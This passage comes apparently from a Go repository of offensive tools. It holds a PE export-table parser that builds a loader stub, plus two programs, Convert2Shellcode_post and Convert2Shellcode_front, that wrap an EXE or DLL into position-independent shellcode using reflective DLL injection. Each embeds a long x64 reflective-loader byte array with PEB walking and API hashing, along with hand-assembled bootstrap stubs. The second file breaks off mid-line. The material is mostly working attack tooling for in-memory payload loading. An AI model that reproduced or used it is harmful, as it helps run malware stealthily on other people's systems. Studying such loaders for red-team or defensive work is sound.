binary.LittleEndian.PutUint32(offsetBytes, funcOffset-9) 115 | stub = append(stub, offsetBytes...) 116 | 117 | // 切换堆栈和调用loader 118 | stub = append(stub, []byte{ 119 | 0x55, // push rbp 120 | 0x48, 0x89, 0xE5, // mov rbp, rsp 121 | 0xFF, 0xD3, // call rbx 122 | }...) 123 | 124 | return stub 125 | } 126 | 127 | // 获取Loader的偏移 128 | func getLoaderOffset(f *pe.File, funcName string, data []byte) (uint32, error) { 129 | // 找到导出目录 130 | exportDir := f.OptionalHeader.(*pe.OptionalHeader64).DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT] 131 | if exportDir.VirtualAddress == 0 { 132 | return 0, fmt.Errorf("no export directory found") 133 | } 134 | 135 | // RVAs to file offsets 136 | exportSec := findSection(f, exportDir.VirtualAddress) 137 | if exportSec == nil { 138 | return 0, fmt.Errorf("could not find section for export directory") 139 | } 140 | exportOffset := rvaToOffset(exportDir.VirtualAddress, exportSec) 141 | 142 | // 解析导出目录 143 | exportDirData := data[exportOffset : exportOffset+uint32(exportDir.Size)] 144 | ed := parseExportDirectory(exportDirData) 145 | 146 | // 遍历导出表 147 | namePtrs := data[rvaToOffset(ed.AddressOfNames, exportSec):] 148 | ordinals := data[rvaToOffset(ed.AddressOfNameOrdinals, exportSec):] 149 | funcAddrs := data[rvaToOffset(ed.AddressOfFunctions, exportSec):] 150 | 151 | for i := uint32(0); i < ed.NumberOfNames; i++ { 152 | // 获取函数名称RVA 153 | nameRVA := binary.LittleEndian.Uint32(namePtrs[i*4:]) 154 | nameSec := findSection(f, nameRVA) 155 | if nameSec == nil { 156 | continue 157 | } 158 | 159 | // Read function name 160 | nameOffset := rvaToOffset(nameRVA, nameSec) 161 | name := readCString(data[nameOffset:]) 162 | if name != funcName { 163 | continue 164 | } 165 | 166 | // Get function ordinal 167 | ordinal := binary.LittleEndian.Uint16(ordinals[i*2:]) 168 | if int(ordinal) >= int(ed.NumberOfFunctions) { 169 | return 0, fmt.Errorf("invalid ordinal") 170 | } 171 | 172 | // Get function RVA 173 | funcRVA := binary.LittleEndian.Uint32(funcAddrs[ordinal*4:]) 174 | funcSec := findSection(f, funcRVA) 175 | if funcSec == nil { 176 | return 0, fmt.Errorf("could not find section for function") 177 | } 178 | 179 | // Convert to file offset 180 | return rvaToOffset(funcRVA, funcSec), nil 181 | } 182 | 183 | return 0, fmt.Errorf("function '%s' not found in export table", funcName) 184 | } 185 | 186 | func findSection(f *pe.File, rva uint32) *pe.Section { 187 | for _, sec := range f.Sections { 188 | if rva >= sec.VirtualAddress && rva < sec.VirtualAddress+sec.VirtualSize { 189 | return sec 190 | } 191 | } 192 | return nil 193 | } 194 | 195 | func rvaToOffset(rva uint32, sec *pe.Section) uint32 { 196 | return sec.Offset + (rva - sec.VirtualAddress) 197 | } 198 | 199 | func parseExportDirectory(data []byte) *exportDirectory { 200 | return &exportDirectory{ 201 | Characteristics: binary.LittleEndian.Uint32(data[0:]), 202 | TimeDateStamp: binary.LittleEndian.Uint32(data[4:]), 203 | MajorVersion: binary.LittleEndian.Uint16(data[8:]), 204 | MinorVersion: binary.LittleEndian.Uint16(data[10:]), 205 | Name: binary.LittleEndian.Uint32(data[12:]), 206 | Base: binary.LittleEndian.Uint32(data[16:]), 207 | NumberOfFunctions: binary.LittleEndian.Uint32(data[20:]), 208 | NumberOfNames: binary.LittleEndian.Uint32(data[24:]), 209 | AddressOfFunctions: binary.LittleEndian.Uint32(data[28:]), 210 | AddressOfNames: binary.LittleEndian.Uint32(data[32:]), 211 | AddressOfNameOrdinals: binary.LittleEndian.Uint32(data[36:]), 212 | } 213 | } 214 | 215 | type exportDirectory struct { 216 | Characteristics uint32 217 | TimeDateStamp uint32 218 | MajorVersion uint16 219 | MinorVersion uint16 220 | Name uint32 221 | Base uint32 222 | NumberOfFunctions uint32 223 | NumberOfNames uint32 224 | AddressOfFunctions uint32 225 | AddressOfNames uint32 226 | AddressOfNameOrdinals uint32 227 | } 228 | 229 | func readCString(data []byte) string { 230 | end := bytes.IndexByte(data, 0) 231 | if end == -1 { 232 | return "" 233 | } 234 | return string(data[:end]) 235 | } 236 | -------------------------------------------------------------------------------- /Convert2Shellcode/Convert2Shellcode_post.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "encoding/binary" 5 | "fmt" 6 | "io/ioutil" 7 | "log" 8 | "os" 9 | ) 10 | 11 | // 反射式加载器的 shellcode (占位符,实际使用时需替换) 12 | var rdiShellcode64 = []byte{ 13 | 0xFC, 0x53, 0x55, 0x56, 0x57, 0x41, 0x54, 0x41, 14 | 0x55, 0x41, 0x56, 0x41, 0x57, 0x48, 0x8B, 0xEC, 15 | 0x48, 0x83, 0xEC, 0x20, 0x48, 0x89, 0x4D, 0x08, 16 | 0x48, 0x8B, 0x45, 0x08, 0x44, 0x8B, 0x60, 0x3C, 17 | 0x4C, 0x03, 0xE0, 0x41, 0x8B, 0x54, 0x24, 0x50, 18 | 0x48, 0x33, 0xC9, 0x41, 0xB8, 0x00, 0x10, 0x00, 19 | 0x00, 0x41, 0xB9, 0x40, 0x00, 0x00, 0x00, 0x49, 20 | 0xBA, 0xAF, 0x86, 0xFA, 0xFB, 0x00, 0x00, 0x00, 21 | 0x00, 0xE8, 0x47, 0x02, 0x00, 0x00, 0x48, 0x83, 22 | 0xC4, 0x20, 0x48, 0x89, 0x45, 0x10, 0x41, 0x8B, 23 | 0x4C, 0x24, 0x54, 0x48, 0x8B, 0x75, 0x08, 0x48, 24 | 0x8B, 0xF8, 0xF3, 0xA4, 0x44, 0x8B, 0x60, 0x3C, 25 | 0x4C, 0x03, 0xE0, 0x4C, 0x89, 0x65, 0x18, 0x41, 26 | 0x0F, 0xB7, 0x44, 0x24, 0x14, 0x4D, 0x8D, 0x74, 27 | 0x04, 0x18, 0x45, 0x0F, 0xB7, 0x6C, 0x24, 0x06, 28 | 0x41, 0x83, 0x7E, 0x10, 0x00, 0x74, 0x16, 0x41, 29 | 0x8B, 0x76, 0x14, 0x48, 0x03, 0x75, 0x08, 0x41, 30 | 0x8B, 0x7E, 0x0C, 0x48, 0x03, 0x7D, 0x10, 0x41, 31 | 0x8B, 0x4E, 0x10, 0xF3, 0xA4, 0x49, 0x83, 0xC6, 32 | 0x28, 0x41, 0xFF, 0xCD, 0x75, 0xDA, 0x48, 0x8B, 33 | 0x45, 0x18, 0x48, 0x8B, 0x5D, 0x10, 0x48, 0x2B, 34 | 0x58, 0x30, 0x53, 0x48, 0x8D, 0x90, 0xB0, 0x00, 35 | 0x00, 0x00, 0x8B, 0x12, 0x48, 0x03, 0x55, 0x10, 36 | 0x8B, 0x02, 0x85, 0xC0, 0x74, 0x40, 0x8B, 0x4A, 37 | 0x04, 0x48, 0x8D, 0x72, 0x08, 0x48, 0x03, 0xCA, 38 | 0x0F, 0xB7, 0x06, 0x8B, 0xD8, 0xC1, 0xEB, 0x0C, 39 | 0x66, 0x83, 0xFB, 0x0A, 0x75, 0x15, 0x25, 0xFF, 40 | 0x0F, 0x00, 0x00, 0x03, 0x02, 0x48, 0x03, 0x45, 41 | 0x10, 0x48, 0x8B, 0x18, 0x48, 0x03, 0x1C, 0x24, 42 | 0x48, 0x89, 0x18, 0x48, 0x83, 0xC6, 0x02, 0x48, 43 | 0x3B, 0xCE, 0x74, 0x02, 0xEB, 0xD2, 0x8B, 0x42, 44 | 0x04, 0x48, 0x03, 0xD0, 0xEB, 0xBA, 0x5B, 0x48, 45 | 0x8B, 0x45, 0x18, 0x8B, 0x80, 0x90, 0x00, 0x00, 46 | 0x00, 0x4C, 0x8B, 0x65, 0x10, 0x4C, 0x03, 0xE0, 47 | 0x41, 0x83, 0x3C, 0x24, 0x00, 0x0F, 0x84, 0x8B, 48 | 0x00, 0x00, 0x00, 0x41, 0x8B, 0x4C, 0x24, 0x0C, 49 | 0x48, 0x03, 0x4D, 0x10, 0x49, 0xC7, 0xC2, 0xE9, 50 | 0x0A, 0x59, 0x56, 0xE8, 0x5D, 0x01, 0x00, 0x00, 51 | 0x48, 0x83, 0xC4, 0x20, 0x48, 0x93, 0x41, 0x8B, 52 | 0x34, 0x24, 0x48, 0x03, 0x75, 0x10, 0x41, 0x8B, 53 | 0x7C, 0x24, 0x10, 0x48, 0x03, 0x7D, 0x10, 0x83, 54 | 0x3E, 0x00, 0x74, 0x51, 0x48, 0x8B, 0x06, 0x48, 55 | 0x8B, 0xD0, 0x48, 0x85, 0xC0, 0x78, 0x1C, 0x48, 56 | 0x8B, 0xCB, 0x48, 0x03, 0x55, 0x10, 0x48, 0x83, 57 | 0xC2, 0x02, 0x49, 0xBA, 0x05, 0xB9, 0x58, 0xE6, 58 | 0x00, 0x00, 0x00, 0x00, 0xE8, 0x1C, 0x01, 0x00, 59 | 0x00, 0xEB, 0x19, 0x48, 0x81, 0xE2, 0xFF, 0xFF, 60 | 0x00, 0x00, 0x48, 0x8B, 0xCB, 0x49, 0xBA, 0x05, 61 | 0xB9, 0x58, 0xE6, 0x00, 0x00, 0x00, 0x00, 0xE8, 62 | 0x01, 0x01, 0x00, 0x00, 0x48, 0x83, 0xC4, 0x20, 63 | 0x48, 0x89, 0x07, 0x48, 0x83, 0xC6, 0x08, 0x48, 64 | 0x83, 0xC7, 0x08, 0xEB, 0xAA, 0x49, 0x83, 0xC4, 65 | 0x14, 0xE9, 0x6A, 0xFF, 0xFF, 0xFF, 0x48, 0x8B, 66 | 0x5D, 0x18, 0x0F, 0xB7, 0x43, 0x14, 0x4C, 0x8D, 67 | 0x64, 0x03, 0x18, 0x44, 0x0F, 0xB7, 0x6B, 0x06, 68 | 0x41, 0x8B, 0x44, 0x24, 0x24, 0x25, 0x00, 0x00, 69 | 0x00, 0xE0, 0xC1, 0xE8, 0x1D, 0xE8, 0x08, 0x00, 70 | 0x00, 0x00, 0x01, 0x10, 0x02, 0x20, 0x08, 0x80, 71 | 0x04, 0x40, 0x5E, 0x44, 0x0F, 0xB6, 0x04, 0x06, 72 | 0x41, 0x8B, 0x4C, 0x24, 0x0C, 0x48, 0x03, 0x4D, 73 | 0x10, 0x41, 0x8B, 0x54, 0x24, 0x10, 0x48, 0x83, 74 | 0xEC, 0x08, 0x4C, 0x8B, 0xCC, 0x49, 0xBA, 0x76, 75 | 0x82, 0x91, 0xE3, 0x00, 0x00, 0x00, 0x00, 0xE8, 76 | 0x91, 0x00, 0x00, 0x00, 0x48, 0x83, 0xC4, 0x28, 77 | 0x49, 0x83, 0xC4, 0x28, 0x41, 0xFF, 0xCD, 0x45, 78 | 0x85, 0xED, 0x75, 0xAC, 0x48, 0x8B, 0x45, 0x18, 79 | 0x48, 0x8D, 0x80, 0xD0, 0x00, 0x00, 0x00, 0x83, 80 | 0x78, 0x04, 0x00, 0x74, 0x27, 0x8B, 0x10, 0x48, 81 | 0x03, 0x55, 0x10, 0x48, 0x8B, 0x7A, 0x18, 0x48, 82 | 0x83, 0x3F, 0x00, 0x74, 0x17, 0x48, 0x8B, 0x07, 83 | 0x48, 0x8B, 0x4D, 0x10, 0xBA, 0x01, 0x00, 0x00, 84 | 0x00, 0x45, 0x33, 0xC0, 0xFF, 0xD0, 0x48, 0x83, 85 | 0xC7, 0x08, 0xEB, 0xE3, 0x48, 0x8B, 0x75, 0x18, 86 | 0x66, 0x8B, 0x46, 0x16, 0x66, 0xA9, 0x00, 0x20, 87 | 0x74, 0x21, 0x48, 0x83, 0xEC, 0x20, 0x8B, 0x5E, 88 | 0x28, 0x48, 0x03, 0x5D, 0x10, 0x48, 0x8B, 0x4D, 89 | 0x10, 0x48, 0xC7, 0xC2, 0x01, 0x00, 0x00, 0x00, 90 | 0x45, 0x33, 0xC0, 0xFF, 0xD3, 0x48, 0x83, 0xC4, 91 | 0x20, 0xEB, 0x09, 0x8B, 0x5E, 0x28, 0x48, 0x03, 92 | 0x5D, 0x10, 0xFF, 0xD3, 0x48, 0x83, 0xC4, 0x20, 93 | 0x41, 0x5F, 0x41, 0x5E, 0x41, 0x5D, 0x41, 0x5C, 94 | 0x5F, 0x5E, 0x5D, 0x5B, 0xC3, 0x41, 0x51, 0x41, 95 | 0x50, 0x52, 0x51, 0x56, 0x41, 0x54, 0x48, 0x33, 96 | 0xD2, 0x65, 0x48, 0x8B, 0x52, 0x60, 0x48, 0x8B, 97 | 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 98 | 0x72, 0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x48, 0x4D, 99 | 0x33, 0xC0, 0x48, 0x33, 0xC0, 0xAC, 0x3C, 0x61, 100 | 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC8, 0x0D, 101 | 0x44, 0x03, 0xC0, 0xFF, 0xC9, 0x75, 0xEB, 0x52, 102 | 0x41, 0x50, 0x48, 0x8B, 0x52, 0x20, 0x8B, 0x42, 103 | 0x3C, 0x48, 0x03, 0xC2, 0x66, 0x81, 0x78, 0x18, 104 | 0x0B, 0x02, 0x75, 0x79, 0x8B, 0x80, 0x88, 0x00, 105 | 0x00, 0x00, 0x48, 0x85, 0xC0, 0x74, 0x6E, 0x48, 106 | 0x03, 0xC2, 0x50, 0x8B, 0x48, 0x18, 0x44, 0x8B, 107 | 0x48, 0x20, 0x4C, 0x03, 0xCA, 0x48, 0x85, 0xC9, 108 | 0x74, 0x5A, 0x48, 0xFF, 0xC9, 0x41, 0x8B, 0x34, 109 | 0x89, 0x48, 0x03, 0xF2, 0x4D, 0x33, 0xC0, 0x48, 110 | 0x33, 0xC0, 0xAC, 0x84, 0xC0, 0x74, 0x09, 0x41, 111 | 0xC1, 0xC8, 0x0D, 0x44, 0x03, 0xC0, 0xEB, 0xEF, 112 | 0x4C, 0x03, 0x44, 0x24, 0x08, 0x45, 0x3B, 0xC2, 113 | 0x75, 0xD3, 0x58, 0x44, 0x8B, 0x48, 0x24, 0x4C, 114 | 0x03, 0xCA, 0x66, 0x41, 0x8B, 0x0C, 0x49, 0x44, 115 | 0x8B, 0x48, 0x1C, 0x4C, 0x03, 0xCA, 0x41, 0x8B, 116 | 0x04, 0x89, 0x48, 0x03, 0xC2, 0x41, 0x58, 0x41, 117 | 0x58, 0x41, 0x5C, 0x5E, 0x59, 0x5A, 0x41, 0x58, 118 | 0x41, 0x59, 0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 119 | 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41, 0x58, 0x5A, 120 | 0x48, 0x8B, 0x12, 0xE9, 0x46, 0xFF, 0xFF, 0xFF, 121 | 0x00} 122 | 123 | // 辅助函数:将32位整数打包为小端字节序 124 | func pack(val uint32) []byte { 125 | bytes := make([]byte, 4) 126 | binary.LittleEndian.PutUint32(bytes, val) 127 | return bytes 128 | } 129 | 130 | func main() { 131 | fmt.Printf(` 132 | ╔══════════════════════════════════════════════════════════════════════════════════════════╗ 133 | ║ Convert2Shellcode_post ║ 134 | ║------------------------------------------------------------------------------------- ║ 135 | ║ Function: Use Use post-style RDI to convert EXE/DLL into position-independent shellcode ║ 136 | ║ Author:oneday ║ 137 | ╚══════════════════════════════════════════════════════════════════════════════════════════╝ 138 | `) 139 | 140 | if len(os.Args) < 2 { 141 | log.Fatal("\n[-] Error: Missing DLL/EXE path parameter\n" + 142 | "[*] Usage: program [Output File Path]\n" + 143 | "[*] Example 1: program C:\\path\\to\\Test.dll\n" + 144 | "[*] Example 2: program C:\\path\\to\\ReflectiveDLL.dll C:\\path\\to\\Shellcode.bin") 145 | os.Exit(1) 146 | } 147 | 148 | // 构建stub 149 | // pop rax 150 | bootstrap := []byte{0x58} 151 | 152 | // push rax 153 | bootstrap = append(bootstrap, 0x50) 154 | 155 | // call next instruction 156 | bootstrap = append(bootstrap, 0xE8, 0x00, 0x00, 0x00, 0x00) 157 | 158 | // pop rcx 159 | bootstrap = append(bootstrap, 0x59) 160 | 161 | // sub rcx,7 162 | bootstrap = append(bootstrap, 0x48, 0x83, 0xE9, 0x07) 163 | 164 | // mov rax,rcx 165 | bootstrap = append(bootstrap, 0x48, 0x8B, 0xC1) 166 | 167 | // 读取 DLL/EXE 文件 168 | dllPath := os.Args[1] 169 | dllBytes, err := ioutil.ReadFile(dllPath) 170 | if err != nil { 171 | fmt.Printf("[-] Error opening file: %v\n", err) 172 | os.Exit(1) 173 | } 174 | fmt.Printf("[+] Successfully opened %s (%d bytes)\n", dllPath, len(dllBytes)) 175 | 176 | // add rax, 177 | bootstrap = append(bootstrap, 0x48, 0x05) 178 | srdiOffsetbytes := pack(uint32(len(dllBytes))) 179 | bootstrap = append(bootstrap, srdiOffsetbytes...) 180 | 181 | // call rax 182 | bootstrap = append(bootstrap, 0xFF, 0xD0) 183 | 184 | // ret 185 | bootstrap = append(bootstrap, 0xC3) 186 | 187 | // 组合最终 shellcode 188 | finalsize := len(rdiShellcode64) + len(dllBytes) 189 | // 创建带实际长度的切片 190 | finalShellcode := make([]uint8, finalsize) 191 | copy(finalShellcode, dllBytes) 192 | copy(finalShellcode, bootstrap) 193 | finalShellcode = append(finalShellcode, rdiShellcode64...) 194 | 195 | // 确定输出路径 196 | outputPath := "shellcode_post.bin" 197 | if len(os.Args) >= 3 { 198 | outputPath = os.Args[2] 199 | } 200 | 201 | // 写入文件 202 | if err := os.WriteFile(outputPath, finalShellcode, 0644); err != nil { 203 | fmt.Printf("[-] Error writing file: %v\n", err) 204 | os.Exit(1) 205 | } 206 | fmt.Printf("[+] Successfully generated shellcode file: %s (%d bytes)\n", outputPath, len(finalShellcode)) 207 | } 208 | -------------------------------------------------------------------------------- /Convert2Shellcode/Convert2Shellcode_front.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "encoding/binary" 5 | "fmt" 6 | "io/ioutil" 7 | "log" 8 | "os" 9 | ) 10 | 11 | // 反射式加载器的 shellcode (占位符,实际使用时需替换) 12 | var rdiShellcode64 = []byte{ 13 | 0x50, 0x48, 0x8B, 0x45, 0x08, 0x44, 0x8B, 0x60, 14 | 0x3C, 0x4C, 0x03, 0xE0, 0x41, 0x8B, 0x54, 0x24, 15 | 0x50, 0x48, 0x33, 0xC9, 0x41, 0xB8, 0x00, 0x10, 16 | 0x00, 0x00, 0x41, 0xB9, 0x40, 0x00, 0x00, 0x00, 17 | 0x49, 0xBA, 0xAF, 0x86, 0xFA, 0xFB, 0x00, 0x00, 18 | 0x00, 0x00, 0xE8, 0x37, 0x02, 0x00, 0x00, 0x48, 19 | 0x83, 0xC4, 0x20, 0x48, 0x89, 0x45, 0x10, 0x41, 20 | 0x8B, 0x4C, 0x24, 0x54, 0x48, 0x8B, 0x75, 0x08, 21 | 0x48, 0x8B, 0xF8, 0xF3, 0xA4, 0x44, 0x8B, 0x60, 22 | 0x3C, 0x4C, 0x03, 0xE0, 0x4C, 0x89, 0x65, 0x18, 23 | 0x41, 0x0F, 0xB7, 0x44, 0x24, 0x14, 0x4D, 0x8D, 24 | 0x74, 0x04, 0x18, 0x45, 0x0F, 0xB7, 0x6C, 0x24, 25 | 0x06, 0x41, 0x83, 0x7E, 0x10, 0x00, 0x74, 0x16, 26 | 0x41, 0x8B, 0x76, 0x14, 0x48, 0x03, 0x75, 0x08, 27 | 0x41, 0x8B, 0x7E, 0x0C, 0x48, 0x03, 0x7D, 0x10, 28 | 0x41, 0x8B, 0x4E, 0x10, 0xF3, 0xA4, 0x49, 0x83, 29 | 0xC6, 0x28, 0x41, 0xFF, 0xCD, 0x75, 0xDA, 0x48, 30 | 0x8B, 0x45, 0x18, 0x48, 0x8B, 0x5D, 0x10, 0x48, 31 | 0x2B, 0x58, 0x30, 0x53, 0x48, 0x8D, 0x90, 0xB0, 32 | 0x00, 0x00, 0x00, 0x8B, 0x12, 0x48, 0x03, 0x55, 33 | 0x10, 0x8B, 0x02, 0x85, 0xC0, 0x74, 0x40, 0x8B, 34 | 0x4A, 0x04, 0x48, 0x8D, 0x72, 0x08, 0x48, 0x03, 35 | 0xCA, 0x0F, 0xB7, 0x06, 0x8B, 0xD8, 0xC1, 0xEB, 36 | 0x0C, 0x66, 0x83, 0xFB, 0x0A, 0x75, 0x15, 0x25, 37 | 0xFF, 0x0F, 0x00, 0x00, 0x03, 0x02, 0x48, 0x03, 38 | 0x45, 0x10, 0x48, 0x8B, 0x18, 0x48, 0x03, 0x1C, 39 | 0x24, 0x48, 0x89, 0x18, 0x48, 0x83, 0xC6, 0x02, 40 | 0x48, 0x3B, 0xCE, 0x74, 0x02, 0xEB, 0xD2, 0x8B, 41 | 0x42, 0x04, 0x48, 0x03, 0xD0, 0xEB, 0xBA, 0x5B, 42 | 0x48, 0x8B, 0x45, 0x18, 0x8B, 0x80, 0x90, 0x00, 43 | 0x00, 0x00, 0x4C, 0x8B, 0x65, 0x10, 0x4C, 0x03, 44 | 0xE0, 0x41, 0x83, 0x3C, 0x24, 0x00, 0x0F, 0x84, 45 | 0x8B, 0x00, 0x00, 0x00, 0x41, 0x8B, 0x4C, 0x24, 46 | 0x0C, 0x48, 0x03, 0x4D, 0x10, 0x49, 0xC7, 0xC2, 47 | 0xE9, 0x0A, 0x59, 0x56, 0xE8, 0x4D, 0x01, 0x00, 48 | 0x00, 0x48, 0x83, 0xC4, 0x20, 0x48, 0x93, 0x41, 49 | 0x8B, 0x34, 0x24, 0x48, 0x03, 0x75, 0x10, 0x41, 50 | 0x8B, 0x7C, 0x24, 0x10, 0x48, 0x03, 0x7D, 0x10, 51 | 0x83, 0x3E, 0x00, 0x74, 0x51, 0x48, 0x8B, 0x06, 52 | 0x48, 0x8B, 0xD0, 0x48, 0x85, 0xC0, 0x78, 0x1C, 53 | 0x48, 0x8B, 0xCB, 0x48, 0x03, 0x55, 0x10, 0x48, 54 | 0x83, 0xC2, 0x02, 0x49, 0xBA, 0x05, 0xB9, 0x58, 55 | 0xE6, 0x00, 0x00, 0x00, 0x00, 0xE8, 0x0C, 0x01, 56 | 0x00, 0x00, 0xEB, 0x19, 0x48, 0x81, 0xE2, 0xFF, 57 | 0xFF, 0x00, 0x00, 0x48, 0x8B, 0xCB, 0x49, 0xBA, 58 | 0x05, 0xB9, 0x58, 0xE6, 0x00, 0x00, 0x00, 0x00, 59 | 0xE8, 0xF1, 0x00, 0x00, 0x00, 0x48, 0x83, 0xC4, 60 | 0x20, 0x48, 0x89, 0x07, 0x48, 0x83, 0xC6, 0x08, 61 | 0x48, 0x83, 0xC7, 0x08, 0xEB, 0xAA, 0x49, 0x83, 62 | 0xC4, 0x14, 0xE9, 0x6A, 0xFF, 0xFF, 0xFF, 0x48, 63 | 0x8B, 0x5D, 0x18, 0x0F, 0xB7, 0x43, 0x14, 0x4C, 64 | 0x8D, 0x64, 0x03, 0x18, 0x44, 0x0F, 0xB7, 0x6B, 65 | 0x06, 0x41, 0x8B, 0x44, 0x24, 0x24, 0x25, 0x00, 66 | 0x00, 0x00, 0xE0, 0xC1, 0xE8, 0x1D, 0xE8, 0x08, 67 | 0x00, 0x00, 0x00, 0x01, 0x10, 0x02, 0x20, 0x08, 68 | 0x80, 0x04, 0x40, 0x5E, 0x44, 0x0F, 0xB6, 0x04, 69 | 0x06, 0x41, 0x8B, 0x4C, 0x24, 0x0C, 0x48, 0x03, 70 | 0x4D, 0x10, 0x41, 0x8B, 0x54, 0x24, 0x10, 0x48, 71 | 0x83, 0xEC, 0x08, 0x4C, 0x8B, 0xCC, 0x49, 0xBA, 72 | 0x76, 0x82, 0x91, 0xE3, 0x00, 0x00, 0x00, 0x00, 73 | 0xE8, 0x81, 0x00, 0x00, 0x00, 0x48, 0x83, 0xC4, 74 | 0x28, 0x49, 0x83, 0xC4, 0x28, 0x41, 0xFF, 0xCD, 75 | 0x45, 0x85, 0xED, 0x75, 0xAC, 0x48, 0x8B, 0x45, 76 | 0x18, 0x48, 0x8D, 0x80, 0xD0, 0x00, 0x00, 0x00, 77 | 0x83, 0x78, 0x04, 0x00, 0x74, 0x27, 0x8B, 0x10, 78 | 0x48, 0x03, 0x55, 0x10, 0x48, 0x8B, 0x7A, 0x18, 79 | 0x48, 0x83, 0x3F, 0x00, 0x74, 0x17, 0x48, 0x8B, 80 | 0x07, 0x48, 0x8B, 0x4D, 0x10, 0xBA, 0x01, 0x00, 81 | 0x00, 0x00, 0x45, 0x33, 0xC0, 0xFF, 0xD0, 0x48, 82 | 0x83, 0xC7, 0x08, 0xEB, 0xE3, 0x48, 0x8B, 0x75, 83 | 0x18, 0x66, 0x8B, 0x46, 0x16, 0x66, 0xA9, 0x00, 84 | 0x20, 0x74, 0x20, 0x48, 0x83, 0xEC, 0x20, 0x8B, 85 | 0x5E, 0x28, 0x48, 0x03, 0x5D, 0x10, 0x48, 0x8B, 86 | 0x4D, 0x10, 0x48, 0xC7, 0xC2, 0x01, 0x00, 0x00, 87 | 0x00, 0x45, 0x33, 0xC0, 0xFF, 0xD3, 0x48, 0x83, 88 | 0xC4, 0x28, 0xC3, 0x8B, 0x5E, 0x28, 0x48, 0x03, 89 | 0x5D, 0x10, 0xFF, 0xD3, 0x58, 0xC3, 0x41, 0x51, 90 | 0x41, 0x50, 0x52, 0x51, 0x56, 0x41, 0x54, 0x48, 91 | 0x33, 0xD2, 0x65, 0x48, 0x8B, 0x52, 0x60, 0x48, 92 | 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 93 | 0x8B, 0x72, 0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x48, 94 | 0x4D, 0x33, 0xC0, 0x48, 0x33, 0xC0, 0xAC, 0x3C, 95 | 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC8, 96 | 0x0D, 0x44, 0x03, 0xC0, 0xFF, 0xC9, 0x75, 0xEB, 97 | 0x52, 0x41, 0x50, 0x48, 0x8B, 0x52, 0x20, 0x8B, 98 | 0x42, 0x3C, 0x48, 0x03, 0xC2, 0x66, 0x81, 0x78, 99 | 0x18, 0x0B, 0x02, 0x75, 0x79, 0x8B, 0x80, 0x88, 100 | 0x00, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x74, 0x6E, 101 | 0x48, 0x03, 0xC2, 0x50, 0x8B, 0x48, 0x18, 0x44, 102 | 0x8B, 0x48, 0x20, 0x4C, 0x03, 0xCA, 0x48, 0x85, 103 | 0xC9, 0x74, 0x5A, 0x48, 0xFF, 0xC9, 0x41, 0x8B, 104 | 0x34, 0x89, 0x48, 0x03, 0xF2, 0x4D, 0x33, 0xC0, 105 | 0x48, 0x33, 0xC0, 0xAC, 0x84, 0xC0, 0x74, 0x09, 106 | 0x41, 0xC1, 0xC8, 0x0D, 0x44, 0x03, 0xC0, 0xEB, 107 | 0xEF, 0x4C, 0x03, 0x44, 0x24, 0x08, 0x45, 0x3B, 108 | 0xC2, 0x75, 0xD3, 0x58, 0x44, 0x8B, 0x48, 0x24, 109 | 0x4C, 0x03, 0xCA, 0x66, 0x41, 0x8B, 0x0C, 0x49, 110 | 0x44, 0x8B, 0x48, 0x1C, 0x4C, 0x03, 0xCA, 0x41, 111 | 0x8B, 0x04, 0x89, 0x48, 0x03, 0xC2, 0x41, 0x58, 112 | 0x41, 0x58, 0x41, 0x5C, 0x5E, 0x59, 0x5A, 0x41, 113 | 0x58, 0x41, 0x59, 0x41, 0x5A, 0x48, 0x83, 0xEC, 114 | 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41, 0x58, 115 | 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x46, 0xFF, 0xFF, 116 | 0xFF} 117 | 118 | // 辅助函数:将32位整数打包为小端字节序 119 | func pack(val uint32) []byte { 120 | bytes := make([]byte, 4) 121 | binary.LittleEndian.PutUint32(bytes, val) 122 | return bytes 123 | } 124 | 125 | func main() { 126 | fmt.Printf(` 127 | ╔══════════════════════════════════════════════════════════════════════════════════════╗ 128 | ║ Convert2Shellcode_front ║ 129 | ║------------------------------------------------------------------------------------- ║ 130 | ║ Function: Use front-style RDI to convert EXE/DLL into position-independent shellcode ║ 131 | ║ Author:oneday ║ 132 | ╚══════════════════════════════════════════════════════════════════════════════════════╝ 133 | `) 134 | 135 | if len(os.Args) < 2 { 136 | log.Fatal("\n[-] Error: Missing DLL/EXE path parameter\n" + 137 | "[*] Usage: program [Output File Path]\n" + 138 | "[*] Example 1: program C:\\path\\to\\Test.dll\n" + 139 | "[*] Example 2: program C:\\path\\to\\ReflectiveDLL.dll C:\\path\\to\\Shellcode.bin") 140 | os.Exit(1) 141 | } 142 | 143 | // 构建引导代码 144 | bootstrapSize := 58 145 | 146 | // cld 147 | bootstrap := []byte{0xFC} 148 | 149 | /* 150 | ; 保存非易失性寄存器 151 | push rbx 152 | push rbp 153 | push rsi 154 | push rdi 155 | push r12 156 | push r13 157 | push r14 158 | push r15 159 | */ 160 | bootstrap = append(bootstrap, 0x53, 0x55, 0x56, 0x57, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57) 161 | 162 | // call next instruction 163 | bootstrap = append(bootstrap, 0xE8, 0x00, 0x00, 0x00, 0x00) 164 | 165 | // 计算 DLL 偏移量 166 | dllOffset := bootstrapSize - len(bootstrap) + len(rdiShellcode64) 167 | 168 | // pop rax 169 | bootstrap = append(bootstrap, 0x58) 170 | 171 | // add rax, 172 | bootstrap = append(bootstrap, 0x48, 0x05) 173 | dllOffsetBytes := pack(uint32(dllOffset)) 174 | bootstrap = append(bootstrap, dllOffsetBytes...) 175 | 176 | // mov rbp, rsp 177 | bootstrap = append(bootstrap, 0x48, 0x8B, 0xEC) 178 | 179 | // sub rsp, 18h 180 | bootstrap = append(bootstrap, 0x48, 0x83, 0xEC, 0x18) 181 | 182 | // mov qword ptr [rbp+8], rax 183 | bootstrap = append(bootstrap, 0x48, 